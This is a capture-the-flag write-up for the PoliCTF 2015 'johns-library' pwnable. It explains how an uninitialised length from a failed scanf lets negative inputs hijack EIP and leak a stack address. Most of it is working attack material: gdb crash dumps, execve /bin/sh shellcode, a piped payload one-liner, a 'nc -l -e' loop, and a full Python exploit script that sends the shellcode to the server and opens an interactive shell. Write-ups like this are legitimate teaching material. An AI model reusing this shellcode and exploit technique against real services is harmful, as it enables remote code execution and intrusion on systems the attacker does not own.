PoliCTF 2015 johns-library
@mrexcessive WHA
The problem PoliCTF johns-library
Do you like reading books? here we have the best collection ever! you can even save some books for future reading!! enjoy noob! nc library.polictf.it 80 [Binary] [Pwnable]
The solution Extract executable from .gpg as per instructions.
Try running it and compare with netcat to the remote server. Play with some inputs.
After a few minutes try -ve number for input of length of book title:
r - read from library a - add element u - exit a Hey mate! Insert how long is the book title: -1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault
Nice a segfault... probably got control of something then.
Also tried % in that length input, which crashes out without even allowing for input of a title.
Run in gdb
# note I'm running with gdb-peda extensions
# input AABBCC...ZZ is to help identify what we have control over
$ gdb ./johns-library ... -1 AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x41 ('A') EBX: 0xf7fb1000 --> 0x1a5da8 ECX: 0xfbad2288 EDX: 0xf7fb1c20 --> 0xfbad2288 ESI: 0xf7fb1c20 --> 0xfbad2288 EDI: 0xf7e72e24 (ret) EBP: 0x0 ESP: 0xffffcfd0 --> 0xf7fb1c20 --> 0xfbad2288 EIP: 0xf7e6f517 (: mov BYTE PTR [edi],al) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e6f50f : and ecx,0xffffffdf 0xf7e6f512 : mov DWORD PTR [edx],ecx 0xf7e6f514 : and ebp,0x20 => 0xf7e6f517 : mov BYTE PTR [edi],al 0xf7e6f519 : lea eax,[edi+0x1] 0xf7e6f51c : mov DWORD PTR [esp+0x4],eax 0xf7e6f520 : mov eax,DWORD PTR [ebx+0xd84] 0xf7e6f526 : mov DWORD PTR [esp+0x10],0x0 [------------------------------------stack-------------------------------------] 0000| 0xffffcfd0 --> 0xf7fb1c20 --> 0xfbad2288 0004| 0xffffcfd4 --> 0xf7fb1d84 --> 0xf7fb1c20 --> 0xfbad2288 0008| 0xffffcfd8 --> 0xf7e0a940 (0xf7e0a940) 0012| 0xffffcfdc --> 0xf7e6c126 (<__isoc99_scanf+134>: and DWORD PTR [esi+0x3c],0xffffffeb) 0016| 0xffffcfe0 --> 0xf7fb1c20 --> 0xfbad2288 0020| 0xffffcfe4 --> 0x8048890 --> 0x25006425 ('%d') 0024| 0xffffcfe8 --> 0xffffd014 --> 0xffffd02c --> 0xffffffff 0028| 0xffffcfec --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xf7e6f517 in gets () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
Not straightforward control over EIP then...
- Crashes out even if second input is one char long
- Crashes out even if second input has reasonable length e.g. 10
- Crashes out even if bad char is a single ! for length of book title.
Lets look at objdump -d disassembly...
SIGSEGV is in gets() ...
... but the title length number is read using a "%d" format string passed to scanf.
80486c7: 8d 45 f4 lea -0xc(%ebp),%eax ; pointer to input integer @ [EBP - 0xc] 80486ca: 89 44 24 04 mov %eax,0x4(%esp) 80486ce: c7 04 24 90 88 04 08 movl $0x8048890,(%esp) ; "%d" 80486d5: e8 96 fd ff ff call 8048470 <__isoc99_scanf@plt> ; scanf input 80486da: e8 41 fd ff ff call 8048420; get a char (empty buffer ?) 80486df: a1 48 a0 04 08 mov 0x804a048,%eax ; get current string number... 80486e4: 8b 14 85 60 a0 04 08 mov 0x804a060(,%eax,4),%edx ; get buffer pointer -> edx 80486eb: 8b 45 f4 mov -0xc(%ebp),%eax ; number of chars said to be required.
The number of chars [EBP - 0xc] is uninitialised if scanf() fails
Pointing to address in getchar()
Hmm...
Can we put in a specific -ve number of chars... so that adding 0x400 gives a more useful corruptable address...
Answer yes... We can change it... so if
length = -99999999
leads to EDI is 0xfa09ef5d, when trying to write 'next' data to it
length = -999999
leads to EDI is 0xfff08e1d
We want this to be on stack
ESP is 0xffffcfd0 at this point (doesn't change between runs - in gdb at least)
$ python # to work out the offset to try... >>> 0xffffcfd0 - 0xfff08e1d 999859 >>> 999999 - 999859 140
So try -140 ?
Almost...
-144 gives EIP control !!!
Hey mate! Insert how long is the book title: -144 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa r - read from library a - add element u - exit a Hey mate! Insert how long is the book title: 10 bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x35 ('5') EBX: 0xf7fb1000 --> 0x1a5da8 ECX: 0xf7fd5037 ('a', "\n") EDX: 0x35 ('5') ESI: 0xf7fb1c20 --> 0xfbad2288 EDI: 0xffffcfcc ("F", 'b' ) EBP: 0x0 ESP: 0xffffcfd0 ('b' ) EIP: 0x62626246 ('Fbbb') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x62626246 [------------------------------------stack-------------------------------------] 0000| 0xffffcfd0 ('b' ) 0004| 0xffffcfd4 ('b' ) ... etc ...
Needs a bit of refinement
Lets try -148...
Yer that works perfectly I think
Hey mate! Insert how long is the book title: -148 aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz r - read from library a - add element u - exit a Hey mate! Insert how long is the book title: 100 AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x33 ('3') EBX: 0xf7fb1000 --> 0x1a5da8 ECX: 0xf7fd5035 --> 0x0 EDX: 0x33 ('3') ESI: 0xf7fb1c20 --> 0xfbad2288 EDI: 0xffffcfc8 ("AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ") EBP: 0x0 ESP: 0xffffcfd0 ("EEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ") EIP: 0x44444343 ('CCDD') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x44444343 [------------------------------------stack-------------------------------------] 0000| 0xffffcfd0 ("EEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ") 0004| 0xffffcfd4 ("GGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ") ... etc ... Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x44444343 in ?? ()
So we need to put 0xffffcfd0 into CCDD position then write our code from EE onwards
Lets try just piping in some shellcode and using the CCDD position to overwrite EIP (execution address)
Shellcode as used in LegitBS CTF a few months back.
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80"
(python -c 'print "a\n-148\naabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz\na\n100\nAABB\xd0\xcf\xff\xff\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80\n"'; cat) | ./johns-library
Well that doesn't work... Might need to do input in stages - pausing and reading output prior to each input.
Nothing sophisticated just a read()
But... need to run the local copy inside a netcat server... so we can test and live run using same python...
Use this little bit of shell script to mount johns-library onto a port :
#!/bin/sh while true; do nc -l -p 7777 -e ./johns-library ; done
Time for a little Python coding... well that doesn't work either... Hmmm...
OK the problem is that the data area (containing the buffer, pointed to by EDI) is moving around with each run. So we need a way to extract an address.
Perhaps some other input value to the 'length of string' input will be able to display some useful binary... exfiltrate the value of EDI (or something in the same segment) from the running code - so we can determine the address of the data in the buffer and then use that value to run our shellcode.
Some messing later discover that negative lengths around -450 produce interesting output
[f7a49d81ffe84a79f7609d81ffead277f7109d81ff60820408189d81ff8c4a79f7200a2072202d20726561642066726f6d206c6962726172790a2061202d2061646420656c656d656e740a2075202d20657869740a
The address we can use is 609d81ff... because that maps to same segment as EDI in the corresponding segfault register display:
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x33 ('3') EBX: 0xf7748000 --> 0x1a5da8 ECX: 0xf776c035 --> 0x0 EDX: 0x33 ('3') ESI: 0xf7748c20 --> 0xfbad2088 EDI: 0xff819d98 ("AABB \233\276\377j\vX\231Rh//sh\276.ahm\201\306\001\001\001\001V\211\343RS\211\341̀\220\220\220\220\220\220\220\220\220\220\220\220\220\220")
A small calculation later (in the Python) and the final code is :
#!/usr/bin/python #PoliCTF 2015 johns-library #@mrexcessive import os, sys, code import readline, rlcompleter import socket import time import struct import telnetlib SERVER = "library.polictf.it" # the actual challenge server PORT = 80 pauseDebugging = True # use this when debugging locally goTelnetAtEnd = True # enable once you have some kind of expectation that it isn't all screwed up ####LIMITATIONS # This only works if the two addresses addr1 and addr2 are in same 0x100 segement ############ localtest = False if localtest: #TESTING LOCALLY SERVER = "localhost" PORT = 7777 debug = True alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" printables = alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#" s = None mem = "" def GetShellcode(): shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80" useshellcode = shellcode print "Shellcode = [%s]" % useshellcode.encode("hex") print "shellcode length = %i" % len(useshellcode) return useshellcode def DoConnect(): global s s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER,PORT)) assert(s <> None) def GetResponse(dropbefore="",timeout=0.5): global s s.setblocking(0) total_data=[] begin = time.time() while True: if total_data and time.time() - begin > timeout: # wait timeout sec if we have something break elif time.time() - begin > timeout * 2: # wait 2xtimeout if nothing break try: data = s.recv(1024) if data: total_data.append(data) begin = time.time() else: time.sleep(0.1) except: pass op = ''.join(total_data) if dropbefore == "": return op else: print "OP before drop = [%s]" % op (a,b) = op.split(dropbefore,2) return b def HackIt(): response = GetResponse(timeout=0.5) # throw away initial response # 0 # locate the stack... s.send("r\n") # read at offset response = GetResponse(timeout=0.5) s.send("-450\n") # seem to get interesting data this offset... can we locate stack with it ? edibuf = GetResponse(timeout=0.5) print "Locating EDI data buffer using @450\n[%s" % edibuf.encode("hex") # extract EDI # Locating Stack data @ 450 # [f7 a4 9d 81 ff e8 4a 79 f7 609d81ff <--- that's the bit we need = EDI frame (edibase,) = struct.unpack("<I",edibuf[9:13]) print "EDI base found is %08x" % edibase if True: # 1 s.send("a\n") # add element response = GetResponse(timeout=0.5) s.send("-148\n") # the correct buffer fail offset response = GetResponse(timeout=0.5) s.send("aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz\n") # fail input # 2 response = GetResponse(timeout=0.5) s.send("a\n") # add element response = GetResponse(timeout=0.5) s.send("100\n") # the correct buffer fail offset response = GetResponse(timeout=0.5) if False: # send test s.send("AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ\n") else: # send shellcode scode = "AABB" # padding editarget = edibase + 0x40 scode += struct.pack("<I",editarget) scode += GetShellcode() while len(scode) < 52: scode += "\x90" # yer weird... nopsled the end... but visible... s.send(scode + "\n") response = GetResponse(timeout=0.5) # 10 seconds if need time to type conti into gdb... print "After sending shell [%s]" % response #5. press 'n' deliberately to trigger exit and the return address print print "NOW PRESS n and Enter... for shell" print if __name__ == "__main__": vars = globals() vars.update(locals()) readline.set_completer(rlcompleter.Completer(vars).complete) readline.parse_and_bind("tab: complete") shell = code.InteractiveConsole(vars) # any startups DoConnect() if pauseDebugging: print "Attach debugger to server process now if you want, then press" raw_input() HackIt() if goTelnetAtEnd: t = telnetlib.Telnet() t.sock = s t.interact() # go interactive #shell.interact() # exit... cos... reasons
Excellent that works locally... get a shell
Now run on live server... worked first time ! Nice...
ls /home ls /home/ctf cat /home/ctf/flag
Result !